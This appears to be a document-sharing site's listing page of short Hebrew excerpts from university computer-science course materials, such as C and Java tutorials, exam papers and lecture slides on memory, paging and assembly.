Slide 1 בעיית התוכנית הגדולה C תוכנית גדולה המבצעת פעולות רבות, יכולה להפוך לקשה מאוד לניהול אם נשתמש רק בכלים שלמדנו עד כה: 1. קשה לכתוב ולנפות את התוכנית,. קשה להבין אותה, 3. קשה לתחזק ולתקן אותה, 4. קשה להוסיף

קרא עוד

Slide 1

Slide 1 מבוא לשפת C תירגול 8: פונקציות שבוע שעבר... מערכים מיזוג מערכים ממויינים מערכים דו-ממדיים מבוא לשפת סי - תירגול 8 2 תוכנייה פונקציות ברמת התקשורת הבין-אישית חלוקה לתתי בעיות בדומה למפתח של ספר קריאות גבוהה

קרא עוד

תכנות מונחה עצמים א' – תש"ע

תכנות מונחה עצמים א' –  תשע 1 תכנות מונחה עצמים והנדסת תוכנה תשע"ו 2 בנאי העתקה בניית העתק של אובייקט קיים. בניית העתק בעת העברת אובייקט לפונקציה. בניית העתק בעת החזרת אובייקט מפונקציה. ניתן להגדיר בנאי העתקה. אם לא מגדירים, אז הקומפיילר

קרא עוד

Disclaimer מסמך זה הינו סיכום און-ליין של השיעור ולא עבר עריכה כלל. מצאת טעות? שלח/י לי מייל ואתקן: 07/05/2009 קורס: מערכות ה

Disclaimer מסמך זה הינו סיכום און-ליין של השיעור ולא עבר עריכה כלל. מצאת טעות? שלח/י לי מייל ואתקן: 07/05/2009 קורס: מערכות ה הרעיון: דפדוף paging וזכרון וירטואלי.1.2.3 לחלק את מרחב הכתובות לדפים בגודל קבוע )למשל )4KB את הדפים ממפים לזכרון פיסי a. לא רציף b. לא כולם העברה מזכרון לדיסק לפי הצורך מספר הדף: page = addr 4K המיקום

קרא עוד

שאלהIgal : מערכים דו מימדיים רקורסיה:

שאלהIgal : מערכים דו מימדיים רקורסיה: אוניברסיטת בן גוריון בנגב מספר נבחן : תאריך המבחן: כ"ח תשרי תשע"ז 30.10.16 שמות המורים: ציון סיקסיק א' תכנות ב- C מבחן ב: 202-1-9011 מס' הקורס : הנדסה מיועד לתלמידי : ב' מועד סמ' קיץ שנה תשע"ו 3 שעות משך

קרא עוד

מבנה מחשבים ספרתיים

מבנה מחשבים ספרתיים זיכרון מטמון מבנה מחשבים ספרתיים 234267 הבעיה מהירות הגישה לזיכרון איטית ביחס לביצועי המעבד )עד פי (, ככל שהזיכרון גדול יותר הגישה אליו איטית יותר. ביצועי המעבד נפגעים משמעותית אם בכל קריאה מהזיכרון יש

קרא עוד

Microsoft Word - c_SimA_MoedB2005.doc

Microsoft Word - c_SimA_MoedB2005.doc מרצה: שולי וינטנר. מתרגל: עזרא דאיה. מבוא למדעי המחשב בחינת מועד ב', סמסטר א' תשס"ה,.2.2005 משך המבחן: שעתיים וחצי. חומר עזר: מותר כל חומר עזר, מלבד מחשב. הנחיות:. ודאו כי בטופס שבידיכם עמודים. יש לכתוב

קרא עוד

שאלהIgal : מערכים דו מימדיים רקורסיה:

שאלהIgal : מערכים דו מימדיים רקורסיה: אוניברסיטת בן גוריון בנגב מספר נבחן : תאריך המבחן: כ"ג חשון תשע"ח 12/11/17 שמות המורים: ציון סיקסיק א' ב- C תכנות מבחן ב: 202-1-9011 מס' הקורס : הנדסה מיועד לתלמידי : ב' מועד קיץ סמ' שנה תשע"ז 3 שעות משך

קרא עוד

Microsoft PowerPoint - rec1.ppt

Microsoft PowerPoint - rec1.ppt תכנות מונחה עצמים בשפת ++C תר גול מ ספר 1 אוהד ב ר זילי אוניברסיטת תל א ביב חדש חדיש ומחודש תוספות של + +C לשפ ת C 1 #include Hello World using namespace std; int main() cout

קרא עוד

שאלהIgal : מערכים דו מימדיים רקורסיה:

שאלהIgal : מערכים דו מימדיים רקורסיה: אוניברסיטת בן גוריון בנגב מספר נבחן : תאריך המבחן: כ"ג מנ' אב תשע"ז 15.08.17 שמות המורים: ציון סיקסיק א' ב- C תכנות מבחן ב: 202-1-9011 מס' הקורס : הנדסה מיועד לתלמידי : ב' מועד סמ' ב' שנה תשע"ז 3 שעות

קרא עוד

מספר זהות: סמסטר ב' מועד א' תאריך: 11102/4// שעה: 9:22 משך הבחינה: 3 שעות חומר עזר: אין מותר השימוש במחשבון פשוט בחינה בקורס: מבני נתונים מרצה: הדר בי

מספר זהות: סמסטר ב' מועד א' תאריך: 11102/4// שעה: 9:22 משך הבחינה: 3 שעות חומר עזר: אין מותר השימוש במחשבון פשוט בחינה בקורס: מבני נתונים מרצה: הדר בי מספר זהות: סמסטר ב' מועד א' תאריך: 11102/4// שעה: 9:22 משך הבחינה: 3 שעות חומר עזר: אין מותר השימוש במחשבון פשוט בחינה בקורס: מבני נתונים מרצה: הדר בינסקי הנחיות: יש לענות על כל השאלות. יש לענות על כל

קרא עוד

אוניברסיטת חיפה החוג למדעי המחשב מרצה: שולי וינטנר מתרגלים: נעמה טוויטו, מחמוד שריף מבוא למדעי המחשב סמסטר א' תשע"ב בחינת סיום, מועד א', הנחי

אוניברסיטת חיפה החוג למדעי המחשב מרצה: שולי וינטנר מתרגלים: נעמה טוויטו, מחמוד שריף מבוא למדעי המחשב סמסטר א' תשעב בחינת סיום, מועד א', הנחי אוניברסיטת חיפה החוג למדעי המחשב מרצה: שולי וינטנר מתרגלים: נעמה טוויטו, מחמוד שריף מבוא למדעי המחשב סמסטר א' תשע"ב בחינת סיום, מועד א', 6.2.2012 הנחיות: 1. משך הבחינה: 120 דקות. 2. היציאה מהכיתה במהלך

קרא עוד

מבוא למדעי המחשב

מבוא למדעי המחשב מבוא למדעי המחשב מחרוזות, חתימה של פונקציה ומעטפות תוכן עניינים טיפוסים מורכבים טיפוסים מורכבים ערך שם טיפוס 12 m int undef. x boolean true y boolean arr int[] כאלה שעשויים להכיל יותר מערך פרימיטיבי אחד

קרא עוד

שבוע 4 סינטקס של HACK ASSEMBLY ניתן להשתמש בשלושה אוגרים בלבד:,A,D,M כולם בעלי 16 ביטים. M אינו אוגר ישיר- הוא מסמן את האוגר של ה RAM שאנחנו מצביעים ע

שבוע 4 סינטקס של HACK ASSEMBLY ניתן להשתמש בשלושה אוגרים בלבד:,A,D,M כולם בעלי 16 ביטים. M אינו אוגר ישיר- הוא מסמן את האוגר של ה RAM שאנחנו מצביעים ע שבוע 4 סינטקס של HACK ASSEMBLY ניתן להשתמש בשלושה אוגרים בלבד:,A,D,M כולם בעלי 16 ביטים. M אינו אוגר ישיר- הוא מסמן את האוגר של ה RAM שאנחנו מצביעים עליו כרגע )A מצביע עליו(. יש שני סוגי פקודות, פקודת

קרא עוד

מבוא לאסמבלי

מבוא לאסמבלי 1 ברק גונן תוכנית שבנויה מחלקי קוד נפרדים המשולבים זה בזה מאפיינים: נקודת כניסה אחת נקודת יציאה אחת מבצעים פעולה מוגדרת נקראים פרוצדורות ברק גונן 2 קוד קצר יותר לא צריך לחזור על חלקי קוד שאלה למחשבה: האם

קרא עוד

מבחן סוף סמסטר מועד ב 28/10/08 מרצה אחראית: דר שירלי הלוי גינסברג מתרגלים: גלעד קותיאל, גדי אלכסנדרוביץ הוראות: א. בטופס המבחן 6 עמודים (כולל דף זה) ו

מבחן סוף סמסטר מועד ב 28/10/08 מרצה אחראית: דר שירלי הלוי גינסברג מתרגלים: גלעד קותיאל, גדי אלכסנדרוביץ הוראות: א. בטופס המבחן 6 עמודים (כולל דף זה) ו מבחן סוף סמסטר מועד ב 28/10/08 מרצה אחראית: דר שירלי הלוי גינסברג מתרגלים: גלעד קותיאל, גדי אלכסנדרוביץ הוראות: א. בטופס המבחן 6 עמודים (כולל דף זה) ו 4 דפי נוסחאות. בדקו שכל העמודים ברשותכם. ב. משך המבחן

קרא עוד

מהוא לתכנות ב- JAVA מעבדה 3

מהוא לתכנות ב- JAVA מעבדה 3 מבוא לתכנות ב- JAVA מעבדה 3 נושאי התרגול לולאות ניפוי שגיאות לולאות - הקדמה כיצד הייתם כותבים תוכנית שתדפיס את המספרים השלמים בין 1 ל- 100 בעזרת הכלים שלמדתם עד עתה? חייבת להיות דרך אחרת מאשר לכתוב 100

קרא עוד

אוניברסיטת חיפה החוג למדעי המחשב מבוא למדעי המחשב מועד א' סמסטר ב', תשע"ג, משך המבחן: שעתיים וחצי חומר עזר: אסור הנחיות: וודאו כי יש בידיכם

אוניברסיטת חיפה החוג למדעי המחשב מבוא למדעי המחשב מועד א' סמסטר ב', תשעג, משך המבחן: שעתיים וחצי חומר עזר: אסור הנחיות: וודאו כי יש בידיכם אוניברסיטת חיפה החוג למדעי המחשב מבוא למדעי המחשב מועד א' סמסטר ב', תשע"ג,.6.013 משך המבחן: שעתיים וחצי חומר עזר: אסור הנחיות: וודאו כי יש בידיכם 8 עמודי שאלון )כולל עמוד זה(. עליכם לכתוב את התשובות על

קרא עוד

אוניברסיטת בן גוריון בנגב תאריך המבחן: שקולניק אלכסנדר שם המרצה: מר בשפת JAVA מבוא לתכנות מבחן ב: מס' הקורס : הנדסת תעשיה וניהול מ

אוניברסיטת בן גוריון בנגב תאריך המבחן: שקולניק אלכסנדר שם המרצה: מר בשפת JAVA מבוא לתכנות מבחן ב: מס' הקורס : הנדסת תעשיה וניהול מ אוניברסיטת בן גוריון בנגב תאריך המבחן: 12.02.17 שקולניק אלכסנדר שם המרצה: מר בשפת JAVA מבוא לתכנות מבחן ב: 202.1.9031 מס' הקורס : הנדסת תעשיה וניהול מיועד לתלמידי : א' מועד א' סמ' שנה תשע"ד 3 שעות משך

קרא עוד

מספר מחברת: עמוד 1 מתוך 11 ת"ז: תשע"א מועד ב סמסטר א' תאריך: 00:11 שעה: 0 שעות הבחינה: משך כל חומר עזר אסור בשימוש בחינה בקורס: מבוא למדעי ה

מספר מחברת: עמוד 1 מתוך 11 תז: תשעא מועד ב סמסטר א' תאריך: 00:11 שעה: 0 שעות הבחינה: משך כל חומר עזר אסור בשימוש בחינה בקורס: מבוא למדעי ה עמוד 1 מתוך 11 תשע"א מועד ב סמסטר א' 14.2.2011 תאריך: 00:11 שעה: 0 שעות הבחינה: משך כל חומר עזר אסור בשימוש בחינה בקורס: מבוא למדעי המחשב יש לענות על כל 5 השאלות. בכל השאלות במבחן יש לכתוב פונקציות יעילות

קרא עוד

Homework Dry 3

Homework Dry 3 Homework Dry 3 Due date: Sunday, 9/06/2013 12:30 noon Teaching assistant in charge: Anastasia Braginsky Important: this semester the Q&A for the exercise will take place at a public forum only. To register

קרא עוד

מבוא לתכנות ב- JAVA תרגול 7

מבוא לתכנות ב- JAVA  תרגול 7 מבוא לתכנות ב- JAVA תרגול 8 תזכורת - מבנה של פונקציה רקורסיבית.2 פונקציה רקורסיבית מורכבת משני חלקים עיקריים 1. תנאי עצירה: מקרה/מקרים פשוטים בהם התוצאה לא מצריכה קריאה רקורסיבית לחישוב צעד רקורסיבי: קריאה

קרא עוד

מערכות הפעלה

מערכות הפעלה תקשורת ב- Linux ו- Unix מנגנון תקשורת ב- Linux סכמת שרת לקוח: client/server מודל השכבות רשת תקשורת: חיבורים המאפשרים תקשורת בין מחשבים פרוטוקולי תקשורת מאפשרים העברת נתונים ברשת פועלים בשכבות שונות, כשלכל

קרא עוד

PowerPoint Presentation

PowerPoint Presentation תכנות מתקדם בשפת Java אוניברסיטת תל אביב 1 תוכנה 1 תרגול 3: עבודה עם מחרוזות )Strings( מתודות )Methods( 1 תכנות מתקדם בשפת Java אוניברסיטת תל אביב 2 מחרוזות )STRINGS( 3 מחרוזות String s = Hello ; מחרוזות

קרא עוד

אוניברסיטת בן גוריון בנגב תאריך המבחן: שם המרצה: מר אלכסנדר שקולניק, בשפת JAVA מבחן ב: מבוא לתכנות מס' הקורס : מיועד לתלמידי : הנד

אוניברסיטת בן גוריון בנגב תאריך המבחן: שם המרצה: מר אלכסנדר שקולניק, בשפת JAVA מבחן ב: מבוא לתכנות מס' הקורס : מיועד לתלמידי : הנד אוניברסיטת בן גוריון בנגב תאריך המבחן: 29.01.19 שם המרצה: מר אלכסנדר שקולניק, בשפת JAVA מבחן ב: מבוא לתכנות 202.1.9031 מס' הקורס : מיועד לתלמידי : הנדסת תעשיה וניהול שנה תשע"ט א' סמ' א' מועד 3 שעות משך

קרא עוד

אוניברסיטת חיפה החוג למדעי המחשב מרצה: שולי וינטנר מתרגלים: נעמה טוויטו, מחמוד שריף מבוא למדעי המחשב סמסטר א' תשע"ב בחינת סיום, מועד א', הנחי

אוניברסיטת חיפה החוג למדעי המחשב מרצה: שולי וינטנר מתרגלים: נעמה טוויטו, מחמוד שריף מבוא למדעי המחשב סמסטר א' תשעב בחינת סיום, מועד א', הנחי אוניברסיטת חיפה החוג למדעי המחשב מרצה: שולי וינטנר מתרגלים: נעמה טוויטו, מחמוד שריף מבוא למדעי המחשב סמסטר א' תשע"ב בחינת סיום, מועד א', 6.2.2012 הנחיות: 1. משך הבחינה: 120 דקות. 2. היציאה מהכיתה במהלך

קרא עוד

תרגול מס' 4: המתרגם שימוש במחלקות קיימות מחרוזות, קבצים, וקבלת קלט מהמשתמש

תרגול מס' 4: המתרגם שימוש במחלקות קיימות מחרוזות, קבצים, וקבלת קלט מהמשתמש תרגול מס' 4: המתרגם שימוש במחלקות קיימות מחרוזות, קבצים, וקבלת קלט מהמשתמש המתרגם משימה: תכנית המתרגמת קטעי טקסט לשפה אחרת הקלט: קובץ המכיל את קטעי הטקסט וכן את השפה אליה רוצים לתרגם 2 שאלות האם כבר יש

קרא עוד

Slide 1

Slide 1 מבוא לשפת C תירגול 10: מצביעים, מערכים ומחרוזות שבוע שעבר... מצביעים Call by reference 2 תוכנייה קשר מצביע-מערך )אריתמטיקה של מצביעים( העברת מערכים לפונקציה מחרוזות דוגמה 3 קשר מצביע-מערך 4 תזכורת: תמונת

קרא עוד

מבוא למדעי המחשב - חובלים

מבוא למדעי המחשב - חובלים אוניברסיטת חיפה החוג למדעי המחשב מבוא למדעי המחשב סמסטר ב' תשע"ב בחינת סיום, מועד ב',.02..9.7 מרצה: אורן וימן מתרגלים: נעמה טוויטו ועדו ניסנבוים מדריכי מעבדה: מחמוד שריף ומיקה עמית משך המבחן: שעתיים חומר

קרא עוד

Slide 1

Slide 1 מבוא למחשב בשפת C : מערכים חד ודו-ממדיים מבוסס על השקפים שחוברו ע"י שי ארצי, גיתית רוקשטיין, איתן אביאור וסאהר אסמיר עבור הקורס "מבוא למדעי המחשב". עודכן ע"י דן רביב נכתב על-ידי טל כהן, נערך ע"י איתן אביאור.

קרא עוד

שעור 6

שעור 6 שעור 6 Open addressing אין רשימות מקושרות. (נניח שהאלמנטים מאוחסנים בטבלה עצמה, לחילופין קיים מצביע בהכנסה המתאימה לאלמנט אם אין שרשור). ב- addressing open הטבלה עלולה להימלא ב- factor α load תמיד. במקום

קרא עוד

מבוא למדעי המחשב

מבוא למדעי המחשב מבוא כללי לתכנות ולמדעי המחשב 1843-0310 מרצה: אמיר רובינשטיין מתרגל: דין שמואל אוניברסיטת תל אביב סמסטר חורף 2017-8 חלק ב - מבוא לקריפטוגרפיה שיעור 5 (offset מונחים בסיסיים צופן קיסר (היסט,.1.2 1 Today

קרא עוד

Microsoft PowerPoint - rec3.ppt

Microsoft PowerPoint - rec3.ppt תכנו ת מונח ה עצ מים משתני מחלקה, עצמים מוכלים ועצמים מוצבעים א וה ד ברז יל י א ונ יברס י ט ת תל אביב משתנ י מח ל קה Static Members משתני מחלקה members) (static משתנים סטטיים מוגדרי ם בתוך מח לקה ואולם

קרא עוד

Microsoft PowerPoint - T-10.ppt [Compatibility Mode]

Microsoft PowerPoint - T-10.ppt [Compatibility Mode] מבוא למחשב בשפת Matlab לולאות בלוקי try-catch :10 תרגול מבוסס על השקפים שחוברו ע"י שי ארצי, גיתית רוקשטיין, איתן אביאור, סאהר אסמיר וטל כהן עבור הקורס "מבוא למדעי המחשב" נכתב על-ידי רמי כהן,אולג רוכלנקו,

קרא עוד

מבוא למדעי המחשב

מבוא למדעי המחשב מבוא למדעי המחשב שימוש במחסנית - מחשבון תוכן עניינים prefix כתיבת ביטויים ב-,infix ו- postfix postfix prefix,infix ביטויים ב- כתיבת ו- infix נוסח כתיבה ב- (operator אנו רגילים לכתוב ביטויים חשבוניים כדוגמת

קרא עוד

תרגול מס' 1

תרגול מס' 1 תרגול 6 הסתעפויות 1 מבוסס על שקפים מאת יאן ציטרין קפיצות לא מותנות Unconditional Branch br label PC לאחר ה- fetch של פקודת ה- branch PC לאחר הביצוע של פקודת ה- branch pc label br label הקפיצה מתבצעת תמיד,

קרא עוד

מקביליות

מקביליות PROMELA גרא וייס המחלקה למדעי המחשב אוניברסיטת בן-גוריון עדכון אחרון: 21:40 15/06/2013 2 שפת מ פ ר ט עם ס מ נ ט יק ה מוגדרת באופן מתמטי "שפת תכנות" למודלים המטרה: לאפשר גם לכאלה שאינם חוקרים בתחום לבנות

קרא עוד

PowerPoint Presentation

PowerPoint Presentation תוכנה 1 תרגול 1: סביבת העבודה ומבוא ל- Java 1 מנהלות אתר הקורס: http://courses.cs.tau.ac.il/software1/1516b/ מתרגלים: ברית יונגמן )שעת קבלה: שלישי ב- 8:00 בתיאום מראש( לנה דנקין )שעת קבלה: שלישי ב- 17:00,

קרא עוד

מבחן סוף סמסטר מועד א 15/02/08 מרצה אחראית: דר שירלי הלוי גינסברג מתרגלים: גלעד קותיאל, דניאל גנקין הוראות: א. בטופס המבחן 7 עמודים ו 4 דפי נוסחאות. ב

מבחן סוף סמסטר מועד א 15/02/08 מרצה אחראית: דר שירלי הלוי גינסברג מתרגלים: גלעד קותיאל, דניאל גנקין הוראות: א. בטופס המבחן 7 עמודים ו 4 דפי נוסחאות. ב מבחן סוף סמסטר מועד א 15/02/08 מרצה אחראית: דר שירלי הלוי גינסברג מתרגלים: גלעד קותיאל, דניאל גנקין הוראות: א. בטופס המבחן 7 עמודים ו 4 דפי נוסחאות. בדקו שכל העמודים ברשותכם. ב. משך המבחן שלוש שעות (180

קרא עוד

משימה תכנית המתרגמת קטעי טקסט לשפה אחרת הקלט: קובץ המכיל את קטעי הטקסט וכן את השפה אליה רוצים לתרגם תרגול מס' 4: המתרגם שימוש במחלקות קיימות תכנות מתק

משימה תכנית המתרגמת קטעי טקסט לשפה אחרת הקלט: קובץ המכיל את קטעי הטקסט וכן את השפה אליה רוצים לתרגם תרגול מס' 4: המתרגם שימוש במחלקות קיימות תכנות מתק משימה תכנית המתרגמת קטעי טקסט לשפה אחרת הקלט: קובץ המכיל את קטעי הטקסט וכן את השפה אליה רוצים לתרגם תרגול מס' 4: המתרגם שימוש במחלקות קיימות 2 הפשטה שאלות כצעד ראשון נפתור בעיה הרבה יותר פשוטה האם כבר

קרא עוד

הגשה תוך שבוע בשעת התרגול

הגשה תוך שבוע בשעת התרגול מרצה: שולי וינטנר. מתרגל: עזרא דאיה. מבוא למדעי המחשב בחינת מועד א', סמסטר א' תשס"ה, 6..5 משך המבחן: שעתיים וחצי. חומר עזר: מותר כל חומר עזר, מלבד מחשב. הנחיות: ודאו כי בטופס שבידיכם 8 עמודים. יש לכתוב

קרא עוד

מבוא למדעי המחשב

מבוא למדעי המחשב מבוא כללי לתכנות ולמדעי המחשב 1843-0310 מרצה: אמיר רובינשטיין מתרגל: דין שמואל אוניברסיטת תל אביב סמסטר חורף 2017-8 חלק א - השיטה הבינארית שיעור 5 ו- 1? ספירה בבסיס 2 ואיך אומרים "hello" עם 0 1 ממעגלים

קרא עוד

תרגול 1

תרגול 1 מבוא למדעי המחשב 2019 תרגול 5 מחרוזות, חתימות ורקורסיה מחרוזות רצף של תווים רקורסיה קריאה של מתודה לעצמה באופן ישיר או עקיף ראינו בהרצאה מחרוזות: תווים, חתימות: העמסה- String,הצהרה, overloading אתחול רקורסיה:

קרא עוד

Slide 1

Slide 1 1 אובייקטים היום בתרגול: 2.)objects מחלקות )classes( ואובייקטים )מופעים, )fields( שדות המחלקה שיטות הכמסה )methods של מחלקה. ( class מחלקה - עד עכשיו השתמשנו בעיקר בטיפוסים מובנים ופונקציות המבצעות חישובים

קרא עוד

PowerPoint Presentation

PowerPoint Presentation תוכנה 1 תרגול 1: סביבת העבודה ומבוא ל- Java אלכסיי זגלסקי ויעל אמסטרדמר 1 בירוקרטיה אלכסיי זגלסקי שעת קבלה: שני 13:00-14:00, בתיאום מראש משרד: בניין הנדסת תוכנה, חדר 209 יעל אמסטרדמר שעת קבלה: חמישי 15:00-16:00,

קרא עוד

מבחן 7002 פרטים כלליים מועד הבחינה: בכל זמן מספר השאלון: 1 משך הבחינה: 3 שעות חומר עזר בשימוש: הכל )ספרים ומחברות( המלצות: קרא המלצות לפני הבחינה ובדי

מבחן 7002 פרטים כלליים מועד הבחינה: בכל זמן מספר השאלון: 1 משך הבחינה: 3 שעות חומר עזר בשימוש: הכל )ספרים ומחברות( המלצות: קרא המלצות לפני הבחינה ובדי מבחן 7002 פרטים כלליים מועד הבחינה: בכל זמן מספר השאלון: 1 משך הבחינה: 3 שעות חומר עזר בשימוש: הכל )ספרים ומחברות( המלצות: קרא המלצות לפני הבחינה ובדיקות אחרונות לפני מסירה )עמודים 8-11( מבנה השאלון 5

קרא עוד

PowerPoint Presentation

PowerPoint Presentation מבוא למדעי המחשב תירגול 2: מבוא לתיכנות ב- C 1 תוכנייה משתנים קלט/פלט משפטי תנאי מבוא למדעי המחשב מ' - תירגול 3 2 משתנים 3 משתנים- תמונת הזיכרון הזיכרון כתובת התא #1000 10-4 לא מאותחל 67 לכל תא בזיכרון

קרא עוד

מבוא למדעי המחשב

מבוא למדעי המחשב מבוא למדעי המחשב תכנות מונחה אובייקטים תוכן עניינים טיפוסי נתונים מורכבים המחלקה String תזכורת לשימוש שעשינו במחלקה String str = new String( Hello ); s.o.p(str.tostring()); s.o.p(str.charat(4)); s.o.p(str.equals(

קרא עוד

תוכן העניינים

תוכן העניינים הוצאת חושבים קדימה הילה קדמן חלק ב יעוץ מקצועי: חיים אברבוך מותאם לתכנית הלימודים החדשה בבתי הספר התיכוניים מהדורה חמישית הוצאת חושבים קדימה ת.ד. 1293 רעות 71908 www.kadman.net הילה קדמן 0522 525527 kadman11@gmail.com

קרא עוד

הטכניון מכון טכנולוגי לישראל הפקולטה למדעי המחשב הוראות הגשה: ההגשה בזוגות. הוסיפו שמות, ת.ז., אי-מייל, תא אליו יש להחזיר את התרגיל ואת תשובותיכם לתרג

הטכניון מכון טכנולוגי לישראל הפקולטה למדעי המחשב הוראות הגשה: ההגשה בזוגות. הוסיפו שמות, ת.ז., אי-מייל, תא אליו יש להחזיר את התרגיל ואת תשובותיכם לתרג הטכניון מכון טכנולוגי לישראל הפקולטה למדעי המחשב הוראות הגשה: ההגשה בזוגות. הוסיפו שמות, ת.ז., אי-מייל, תא אליו יש להחזיר את התרגיל ואת תשובותיכם לתרגיל, הדפיסו והגישו לתא הקורס בקומה. מבנה מחשבים ספרתיים

קרא עוד

Comp. Arch. Lecture 1

Comp. Arch. Lecture 1 א ר כי טקטור ת מ ח ש בים ד"ר טל שיקלר סו ב ול אימייל: stal@bgu.ac.il Mother board לוח אם CPU central processing unit מעבד דוגמאות: 80x86 ו תואמיו Intel 80x86 Intel Core 2 Duo 64 bits 80x86 compatible AMD

קרא עוד

אוניברסיטת חיפה החוג למדעי המחשב.5.6 מבוא למדעי המחשב סמסטר א' תשע"ז בחינה סופית מועד א', מרצה: שולי וינטנר מתרגלים: סמאח אידריס, ראמי עילבו

אוניברסיטת חיפה החוג למדעי המחשב.5.6 מבוא למדעי המחשב סמסטר א' תשעז בחינה סופית מועד א', מרצה: שולי וינטנר מתרגלים: סמאח אידריס, ראמי עילבו אוניברסיטת חיפה החוג למדעי המחשב.5.6 מבוא למדעי המחשב סמסטר א' תשע"ז בחינה סופית מועד א', 31.1.2017 מרצה: שולי וינטנר מתרגלים: סמאח אידריס, ראמי עילבוני, דולב שרון הנחיות: 1. משך הבחינה: 120 דקות. 2. היציאה

קרא עוד

Intel Paging & Page Table Exploitation on Windows מאת יובל עטיה הקדמה בשנת 1985, המעבד i386 של Intel יצא לעולם, והיה המעבד הראשון של Intel שתמך בפקודו

Intel Paging & Page Table Exploitation on Windows מאת יובל עטיה הקדמה בשנת 1985, המעבד i386 של Intel יצא לעולם, והיה המעבד הראשון של Intel שתמך בפקודו מאת יובל עטיה הקדמה בשנת 1985, המעבד i386 של Intel יצא לעולם, והיה המעבד הראשון של Intel שתמך בפקודות ובמרחב זיכרון של 32 -ביט. כמו כן, הוא גם היה המעבד הראשון של Intel שהכיל יחידה לניהול זיכרון ( - MMU

קרא עוד

מבוא לתכנות ב- JAVA תרגול 11

מבוא לתכנות ב- JAVA  תרגול 11 מבוא לתכנות ב- JAVA תרגול 11 רשימה מקושרת אוסף סדור של איברים מאותו טיפוס. קודקוד ברשימה )Node( מכיל את המידע + הצבעה לקודקוד הבא ברשימה data next first רשימה :)List( מיוצגת ע"י מצביע לאיבר הראשון ברשימה

קרא עוד

Slide 1

Slide 1 Introduction to Programming in C תרגול 8 1 1 רקורסיה תזכורת הגדרה: המונח רקורסיה (recursion) מתאר מצב שבו פונקציה קוראת לעצמה באופן ישיר או באופן עקיף. שימוש: נוח להשתמש בפונקציות רקורסיביות על מנת לפתור

קרא עוד

Slide 1

Slide 1 Introduction to Programming in C תרגול 7 1 1 נושאים מצביעים רקע אופרטורים על מצביעים מצביעים כפרמטרים לפונקציה הקצאת זיכרון דינאמית Malloc free תאור הזיכרון של המחשב: מצביעים ניתן לחשוב על זיכרון המחשב

קרא עוד

Tutorial 11

Tutorial 11 מבוא לשפת C תרגול 8: מערכים רב-ממדיים תרגילים בנושא מערכים ורקורסיה מבוסס על השקפים שחוברו ע"י שי ארצי, גיתית רוקנשטיין, איתן אביאור וסאהר אסמיר עבור הקורס "מבוא למדעי המחשב" נכתב ע"י טל כהן, עודכן ע"י

קרא עוד

Slide 1

Slide 1 מבוא לשפת C תירגול 3: טיפוסים והמרות 1 מה היה שבוע שעבר? משתנים קלט/פלט scanf( ו- printf ( Redirection The Input Buffer 2 תוכנייה טיפוסי משתנים קלט/פלט מעוצב המרה בין טיפוסים קבועים 3 חישוב ממוצע בין שני

קרא עוד

מבוא למדעי המחשב

מבוא למדעי המחשב מבוא למדעי המחשב המחלקה Object תוכן עניינים Object הורשה והמחלקה ערך שם טיפוס DynamicIntArray da data size incrementsize DynamicArray תזכורת - Object[] data; int size; int incrementsize; DynamicArray זה

קרא עוד

HTML - Hipper Text Makeup Language

HTML - Hipper Text Makeup Language תכנות בסביבת האינטרנט 1 תיבת טקסט טופס הטופס הוא הדרך של בעלי האתר לקבל משוב מהגולשים, מאפשר לגולש להתחבר לאתר כחבר, מאפשר לבצע רכישות באתרי קניות וכד'. כשהגולש ממלא את הטופס, מועבר תוכן הטופס לדף מיוחד

קרא עוד

Slide 1

Slide 1 Introduction to Programming in C תרגול 7 1 1 רקורסיה הגדרה: המונח רקורסיה (recursion) מתאר מצב שבו פונקציה קוראת לעצמה באופן ישיר או באופן עקיף. שימוש: נוח להשתמש בפונקציות רקורסיביות על מנת לפתור בעיות

קרא עוד

בס"ד תרגיל 3 מועד אחרון ל כללי בתרגיל זה עליכם לכתוב תוכנה שמדמה מאגר נתונים של חנות. את מוצרי החנות תייצגו באמצעות עצים ורשימות מקושרות יהיה עליכם לנ

בסד תרגיל 3 מועד אחרון ל כללי בתרגיל זה עליכם לכתוב תוכנה שמדמה מאגר נתונים של חנות. את מוצרי החנות תייצגו באמצעות עצים ורשימות מקושרות יהיה עליכם לנ בס"ד תרגיל 3 מועד אחרון ל כללי בתרגיל זה עליכם לכתוב תוכנה שמדמה מאגר נתונים של חנות. את מוצרי החנות תייצגו באמצעות עצים ורשימות מקושרות יהיה עליכם לנהל את מאגר הנתונים של החנות, לבצע אליו שינוים ושאילתות

קרא עוד

תרגיל בית מספר 1#

תרגיל בית מספר 1# ב 4 תרגיל בית מספר - 1 להגשה עד 72 באוקטובר בשעה ::725 קיראו בעיון את הנחיות העבודה וההגשה המופיעות באתר הקורס, תחת התיקייה.assignments חריגה מההנחיות תגרור ירידת ציון / פסילת התרגיל. הנחיות והערות ספציפיות

קרא עוד

בחן במערכות הפעלה

בחן במערכות הפעלה אוניברסיטת בן-גוריון בנגב, המחלקה למדעי המחשב בוחן אמצע במערכות הפעלה מרצים: איתי דינור, דני הנדלר ורוברט יעקבשוילי. מתרגלים: אור דינרי, אחמד דרובי, מתן דרורי, צחי ספורטה, רועי עוזיאל ואריאל תלמי. ענו

קרא עוד

תורת החישוביות תרגול הכנה לוגיקה ותורת הקבוצות מה יש כאן? בקורס תורת החישוביות נניח ידע בסיסי בתורת הקבוצות ובלוגיקה, והכרות עם מושגים בסיסיים כמו א"ב

תורת החישוביות תרגול הכנה לוגיקה ותורת הקבוצות מה יש כאן? בקורס תורת החישוביות נניח ידע בסיסי בתורת הקבוצות ובלוגיקה, והכרות עם מושגים בסיסיים כמו אב תורת החישוביות תרגול הכנה לוגיקה ותורת הקבוצות מה יש כאן? בקורס תורת החישוביות נניח ידע בסיסי בתורת הקבוצות ובלוגיקה, והכרות עם מושגים בסיסיים כמו א"ב, מילה ושפה לטובת מי ששכח חומר זה, או שלא למדו מעולם,

קרא עוד

Slide 1

Slide 1 מבוא לתכנות ב- JAVA תרגול 5 מה בתרגול מחרוזות מערכים דו ממדיים מחרוזות (Strings) מחרוזת היא רצף של תווים. immutable על מנת ליצור ולטפל במחרוזות נשתמש במחלקה String למחלקה String מתודות שונות שמאפשרות פעולות

קרא עוד

מבנה מחשבים ספרתיים

מבנה מחשבים ספרתיים זיכרון מטמון 2 מבנה מחשבים ספרתיים 234267 1 כיצד נבחר את גודל המטמון? מצד אחד, נרצה מטמון גדול כמה שיותר כדי לקבל שיפור ב-.hit rate מצד שני, כאשר המטמון גדול מדי, הוא צורך אנרגיה רבה וזמן הגישה עלול להיות

קרא עוד

PowerPoint Presentation

